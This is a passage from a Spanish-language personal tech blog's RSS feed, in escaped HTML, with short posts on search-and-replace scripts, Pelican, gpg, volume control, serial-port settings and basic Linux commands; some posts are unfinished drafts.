&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34; NEW: &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">search_pattern&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sub&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cfg&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">replace_regex&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">line&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;File &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s1"> does not contain search regex &amp;#34;&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s1">&amp;#34;&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">filename&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">cfg&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">search_regex&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;__main__&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ejemplo&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;./search_replace.py -d &amp;#34;../&amp;#34; -s &amp;#34;tags:&amp;#34; -r &amp;#34;Tags:&amp;#34; -g &amp;#34;*.md&amp;#34;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">parser&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">argparse&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">ArgumentParser&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">description&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;DESCRIPCION:&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s1"> Buscar y reemplazar recursivamente desde la carpeta dada usando expresiones regulares&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">formatter_class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">argparse&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">RawDescriptionHelpFormatter&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">epilog&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&amp;#39;USO:&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s1"> &lt;/span>&lt;span class="si">{0}&lt;/span>&lt;span class="s1"> -d &amp;#34;directorio/&amp;#34; -s &amp;#34;busca&amp;#34; -r &amp;#34;remplaza&amp;#34; -g &amp;#34;*.md&amp;#34;&amp;#39;&amp;#39;&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">basename&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">])))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">parser&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_argument&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;--dir&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;-d&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">help&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;Carpeta a buscar, por defecto la carpeta actual&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">default&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;.&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">parser&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_argument&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;--search-regex&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;-s&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">help&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;busca regex&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">required&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">parser&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_argument&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;--replace-regex&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;-r&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">help&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;remplaza regex&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">required&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">parser&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_argument&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;--glob&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;-g&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">help&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;patron de filtro para expecificar ficheros a remplazar, ej: *.md&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">default&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;*.*&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">parser&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_argument&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;--dryrun&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;-dr&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">action&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;store_true&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">help&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;No modificar nada, solo mostrar por pantalla&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">default&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">False&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">parser&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_argument&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;--create-backup&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;-b&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">action&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;store_true&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">help&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;Create backup files&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">default&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">False&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">config&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">parser&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">parse_args&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">:])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">find_replace&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">config&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="search-and-replace-con-perl">Search and replace con Perl&lt;/h3>
&lt;p>Parámetros de perl:&lt;/p>
&lt;ul>
&lt;li>-e significa ejecutar la siguiente línea de código.&lt;/li>
&lt;li>-i significa editar en el lugar&lt;/li>
&lt;li>-w escribe advertencias&lt;/li>
&lt;li>-p en el archivo de entrada, imprimiendo cada línea después de que se le aplique el script.&lt;/li>
&lt;/ul>
&lt;p>Funcionalidad:&lt;/p>
&lt;ul>
&lt;li>Recursivo: ❌&lt;/li>
&lt;li>Regex: ✔&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>En Fedora no me funciona&lt;/p>
&lt;/blockquote>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>&lt;span class="nv">buscar&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;v&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">remplazar&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;12_&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">ruta&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;/tmp/kk&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">perl -pi -we &lt;span class="s2">&amp;#34;s/&lt;/span>&lt;span class="nv">$buscar&lt;/span>&lt;span class="s2">/&lt;/span>&lt;span class="nv">$remplazar&lt;/span>&lt;span class="s2">/g;&amp;#34;&lt;/span> &lt;span class="k">$(&lt;/span>grep -rl &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$ruta&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="k">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="tabla-resumen">Tabla resumen&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Metodo&lt;/th>
&lt;th>Recursivo&lt;/th>
&lt;th>Regex&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>egrep&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔*&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>find&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔*&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>python&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>perl&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>❌&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;blockquote>
&lt;p>* sed no acepta caracteres de búsqueda literal como \d, pero si [0-9]+)&lt;/p>
&lt;/blockquote></description></item><item><title>Guia Básica Pelican</title><link>https://www.procamora.com/p/guiabasicapelican/</link><pubDate>Mon, 30 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/guiabasicapelican/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Guia Básica Pelican" />&lt;p>&lt;a class="link" href="http://docs.getpelican.com/en/stable/content.html" target="_blank" rel="noopener"
>http://docs.getpelican.com/en/stable/content.html&lt;/a>&lt;/p>
&lt;p>&lt;a class="link" href="http://docs.getpelican.com/en/stable/publish.html" target="_blank" rel="noopener"
>http://docs.getpelican.com/en/stable/publish.html&lt;/a>&lt;/p>
&lt;p>&lt;a class="link" href="http://docs.getpelican.com/en/stable/tips.html" target="_blank" rel="noopener"
>http://docs.getpelican.com/en/stable/tips.html&lt;/a>&lt;/p>
&lt;p>&lt;a class="link" href="http://spapas.github.io/2013/10/07/pelican-static-windows/" target="_blank" rel="noopener"
>http://spapas.github.io/2013/10/07/pelican-static-windows/&lt;/a>&lt;/p>
&lt;p>Para ver las opciones hacer un:&lt;/p>
&lt;p>&lt;code>make&lt;/code>&lt;/p>
&lt;p>&lt;code>$ ~/projects/pagina $ make devserver&lt;/code>&lt;/p>
&lt;p>&lt;code>$ ~/projects/pagina $ make stopserver&lt;/code>&lt;/p>
&lt;p>~/projects/pagina $ pelican -s pelicanconf.py
python -m pelican.server&lt;/p>
&lt;p>&lt;a class="link" href="http://www.pelicanthemes.com/" target="_blank" rel="noopener"
>http://www.pelicanthemes.com/&lt;/a>&lt;/p>
&lt;h2 id="modifying-pelican-tools-for-windows">Modifying pelican tools for windows&lt;/h2>
&lt;p>Pelican uses a Makefile and a unix shell script to generate the static html files and start an http server for development. Because I prefer to use windows, I answered no to the questions of generating these when pelican-quickstarte asked me. Instead I have included the following files inside the spapas.github.io directory:&lt;/p>
&lt;p>pelrun.bat, to generate the content for your debug site in the output directory:&lt;/p>
&lt;p>&lt;code>pelican content --debug --autoreload --output output --settings pelicanconf.py&lt;/code>&lt;/p>
&lt;p>pelserve.bat, to localy serve the generated debug site:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">pushd output
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">python -m pelican.server
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">popd
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>pelpub.bat, to generate the production site in the output directory:&lt;/p>
&lt;p>&lt;code>pelican content --output output --settings publishconf.py&lt;/code>&lt;/p>
&lt;p>Now, when you want to develop your site locally, enter:&lt;/p>
&lt;p>spapas.github.io&amp;gt;start pelrun.bat
spapas.github.io&amp;gt;start pelserv.bat&lt;/p>
&lt;p>If everything was ok until now, you can visit http://127.0.0.1:8000 and will get the following output:&lt;/p>
&lt;p>Fuentes: &lt;a class="link" href="http://joedicastro.com/pelican-publicacion-y-automatizacion.html" target="_blank" rel="noopener"
>1&lt;/a>&lt;/p></description></item><item><title>Tips de Eclipse</title><link>https://www.procamora.com/p/tipseclipse/</link><pubDate>Mon, 30 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/tipseclipse/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Tips de Eclipse" />&lt;p>En proceso&lt;/p>
&lt;p>###Paso 2&lt;/p>
&lt;p>&lt;a class="link" href="http://www.eclipseonetips.com/2009/11/30/move-copy-delete-lines-with-a-single-keystroke/" target="_blank" rel="noopener"
>http://www.eclipseonetips.com/2009/11/30/move-copy-delete-lines-with-a-single-keystroke/&lt;/a>&lt;/p>
&lt;p>Fuentes: &lt;a class="link" href="http://www.tutorialspoint.com/eclipse/eclipse_tips_tricks.htm" target="_blank" rel="noopener"
>tutorialspoint&lt;/a>, &lt;a class="link" href="http://www.opcoach.com/es/10-consejos-para-trabajar-en-equipo-con-eclipse/" target="_blank" rel="noopener"
>opcoach&lt;/a>, &lt;a class="link" href="http://www.eclipseonetips.com/2009/11/30/move-copy-delete-lines-with-a-single-keystroke/" target="_blank" rel="noopener"
>eclipseonetips&lt;/a>&lt;/p></description></item><item><title>Uso de gpg</title><link>https://www.procamora.com/p/usos_gpg/</link><pubDate>Sat, 28 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/usos_gpg/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Uso de gpg" />&lt;h2 id="creación-de-un-nuevo-key-pair">Creación de un nuevo key-pair&lt;/h2>
&lt;h6 id="generaremos-nuestra-pareja-de-llaves-pública-y-privada-que-posteriormente-utilizaremos-para-la-encriptación-de-ficheros-utilizaremos-el-siguiente-comando">Generaremos nuestra pareja de llaves (pública y privada), que posteriormente utilizaremos para la encriptación de ficheros, utilizaremos el siguiente comando:&lt;/h6>
&lt;p>&lt;code>sudo gpg --gen-key&lt;/code>&lt;/p>
&lt;h2 id="importar-y-exportar-keys">Importar y exportar keys&lt;/h2>
&lt;h6 id="tras-crear-nuestra-llave-podemos-importarla-o-exportarla-en-distintos-equipos-desde-los-que-tenemos-intención-de-compartir-ficheros-encriptados-para-importar-una-llave-ejecutamos">Tras crear nuestra llave, podemos importarla o exportarla en distintos equipos, desde los que tenemos intención de compartir ficheros encriptados, para importar una llave ejecutamos:&lt;/h6>
&lt;p>&lt;code>sudo gpg --import Public-key.asc&lt;/code>&lt;/p>
&lt;h6 id="podemos-exportar-nuestra-key-del-siguiente-modo-ascii-luego-podríamos-utilizar-el-comando-anterior-para-importarla-en-otro-equipo-ascii-crea-una-salida-ascii-con-armadura">Podemos exportar nuestra key del siguiente modo (ascii), luego podríamos utilizar el comando anterior para importarla en otro equipo. –ascii crea una salida ascii con armadura.:&lt;/h6>
&lt;p>&lt;code>sudo gpg --armor --export UID &amp;gt; Public-key.asc&lt;/code>&lt;/p>
&lt;h6 id="una-vez-importada-la-key-en-nuestro-sistema-conviene-firmarla-para-verificar-la-veracidad-de-la-llave-utilizaremos-el-siguiente-comando-donde-uid-es-el-idnombre-de-la-llave">Una vez importada la key en nuestro sistema, conviene firmarla para verificar la veracidad de la llave, utilizaremos el siguiente comando, donde UID es el ID/nombre de la llave.:&lt;/h6>
&lt;p>&lt;code>sudo gpg --sign-key 'UID'&lt;/code>&lt;/p>
&lt;h6 id="para-exportar-clave-privada">para exportar clave privada:&lt;/h6>
&lt;p>&lt;code>sudo gpg --armor --export-secret-key UID &amp;gt; Private-key.asc&lt;/code>&lt;/p>
&lt;p>##Encriptar y desencriptar
######Una vez que tenemos la llave creada, instalada y firmada en el sistema, ya podemos empezar a encriptar y desencriptar ficheros. En el siguiente ejemplo vamos a encriptar un fichero de texto, los parámetros indican que se firma y cifra (-ser) para el usuario con su determinado UID/nombre creando una salida ascii con armadura (-a). tendremos que escribir la frase contraseña de la llave para hacer efectivo el cifrado:
&lt;code>sudo gpg -sear 'UID' test2.txt&lt;/code>&lt;/p>
&lt;p>Necesita una frase contraseña para desbloquear la clave secreta del usuario. &amp;ldquo;xxxx xxxx (xxx xxx) &amp;quot; clave DSA de 2048 bits, ID 7EEECF36, creada el 2010-11-08:&lt;/p>
&lt;p>gpg el agente gpg no esta disponible en esta sesión Introduzca frase contraseña:&lt;/p>
&lt;p>######Para hacer el proceso inverso de descifrado, utilizaríamos el siguiente comando, donde -d indica desencriptar y mensaje-cifrado.asc es el fichero generado en el anterior comando, que guardaremos en salida.txt:
&lt;code>sudo gpg --output salida.txt -d mensaje-cifrado.asc&lt;/code>&lt;/p>
&lt;p>El proceso de desencriptar ficheros de equipos remotos es el mismo siempre que haya sido encriptado utilizando tu misma llave pública.:&lt;/p>
&lt;p>La gestión básica de llaves resumiría los siguientes comandos:&lt;/p>
&lt;p>######Listar las llaves instaladas en el sistema:
&lt;code>sudo gpg --list-keys&lt;/code>&lt;/p>
&lt;p>######Borrar llave &amp;ldquo;&lt;a class="link" href="mailto:test@test.com" >test@test.com&lt;/a>&amp;rdquo; instalada en nuestro sistema:
&lt;code>sudo gpg --delete-key 'test@test.com'&lt;/code>&lt;/p></description></item><item><title>Cambiar volumen por consola</title><link>https://www.procamora.com/p/volumen/</link><pubDate>Fri, 27 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/volumen/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Cambiar volumen por consola" />&lt;h6 id="bajar-volumen-en-10">Bajar volumen en 10%&lt;/h6>
&lt;p>&lt;code>amixer sset Master 10%-&lt;/code>&lt;/p>
&lt;h6 id="subir-volumen-en-10">Subir volumen en 10%&lt;/h6>
&lt;p>&lt;code>amixer sset Master 10%+&lt;/code>&lt;/p>
&lt;h6 id="activardesactivar-silencio">Activar/desactivar silencio&lt;/h6>
&lt;p>&lt;code>amixer sset Master toggle&lt;/code>&lt;/p>
&lt;h6 id="modo-gráfico-consola">Modo gráfico consola&lt;/h6>
&lt;p>&lt;code>alsamixer&lt;/code>&lt;/p></description></item><item><title>Configuración de puerto serie</title><link>https://www.procamora.com/p/puertoserie/</link><pubDate>Wed, 25 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/puertoserie/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Configuración de puerto serie" />&lt;h2 id="conexión-puerto-serie">Conexión Puerto Serie&lt;/h2>
&lt;h6 id="para-la-conexión-por-el-puerto-serie-hace-falta-el-programa--y-estas-con-las-características-que-hay-que-configurar">Para la conexión por el puerto serie hace falta el programa ?????????? y estas con las características que hay que configurar&lt;/h6>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">9600 bits por segundo,
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">8 bits de datos,
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sin paridad,
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1 bit de parada
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sin control de flujo.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Instalar man en español</title><link>https://www.procamora.com/p/man_espa%C3%B1ol/</link><pubDate>Fri, 20 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/man_espa%C3%B1ol/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Instalar man en español" />&lt;p>&lt;code>sudo apt-get install manpages-es manpages-es-extra&lt;/code>&lt;/p></description></item><item><title>Ver características del pc</title><link>https://www.procamora.com/p/datos_pc/</link><pubDate>Wed, 18 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/datos_pc/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Ver características del pc" />&lt;p>&lt;code>sudo lshw -C cpu&lt;/code>&lt;/p></description></item><item><title>Compartir archivos localmente</title><link>https://www.procamora.com/p/compartir_archivos_localmente/</link><pubDate>Tue, 17 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/compartir_archivos_localmente/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Compartir archivos localmente" />&lt;p>&lt;code>cd /home/nombre-de-usuario/Documentos&lt;/code>&lt;/p>
&lt;p>&lt;code>python -m SimpleHTTPServer&lt;/code>&lt;/p>
&lt;p>Y abras creado un servidor web, que permite a otros usuarios acceder al contenido de tu carpeta desde un navegador si utilizan la siguiente URL:&lt;/p>
&lt;p>&lt;em>http://IP_de_tu_equipo:8000&lt;/em>&lt;/p></description></item><item><title>16 comandos útiles</title><link>https://www.procamora.com/p/16_magnificos_comandos/</link><pubDate>Mon, 16 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/16_magnificos_comandos/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post 16 comandos útiles" />&lt;p>######1. Controla la cantidad de RAM que tiene libre:
&lt;code>free&lt;/code>&lt;/p>
&lt;p>######2. Donde esta la aplicación que acabo de instalar (todos los directorios)
&lt;code>whereis [app]&lt;/code>&lt;/p>
&lt;p>######3. Uso del espacio de su disco
&lt;code>df -h&lt;/code>&lt;/p>
&lt;p>######4. Crear una lista de reproducción de los archivos de audio en una carpeta.
&lt;code>ls -R &amp;gt; playlist.m3u&lt;/code>&lt;/p>
&lt;p>######5. Matar un proceso por su nombre
&lt;code>sudo killall&lt;/code> por ejemplo: &lt;code>sudo killall firefox&lt;/code>. O via pid (program id): &lt;code>sudo kill&lt;/code>&lt;/p>
&lt;p>para ver el pid: &lt;code>pidof&lt;/code> por ejemplo: &lt;code>pidof firefox&lt;/code>&lt;/p>
&lt;p>o puedes probar ver la lista de procesos que se están ejecutando actualmente con:
&lt;code>ps -e&lt;/code>&lt;/p>
&lt;p>######6. Encontrar la versión del software instalado:
&lt;code>sudo apt-cache policy&lt;/code>&lt;/p>
&lt;p>######7. Encontrar el UUID de tus particiones:
&lt;code>ls /dev/disk/by-uuid/ -alh&lt;/code>&lt;/p>
&lt;p>######8. Mostrar los diez procesos principales que se están ejecutando – ordenados por el uso de la memoria:
&lt;code>ps aux | sort -nrk 4 | head&lt;/code>&lt;/p>
&lt;p>######9. Establecer una alarma sonora cuando una dirección IP salga online
&lt;code>ping -i 60 -a IP_address&lt;/code>&lt;/p>
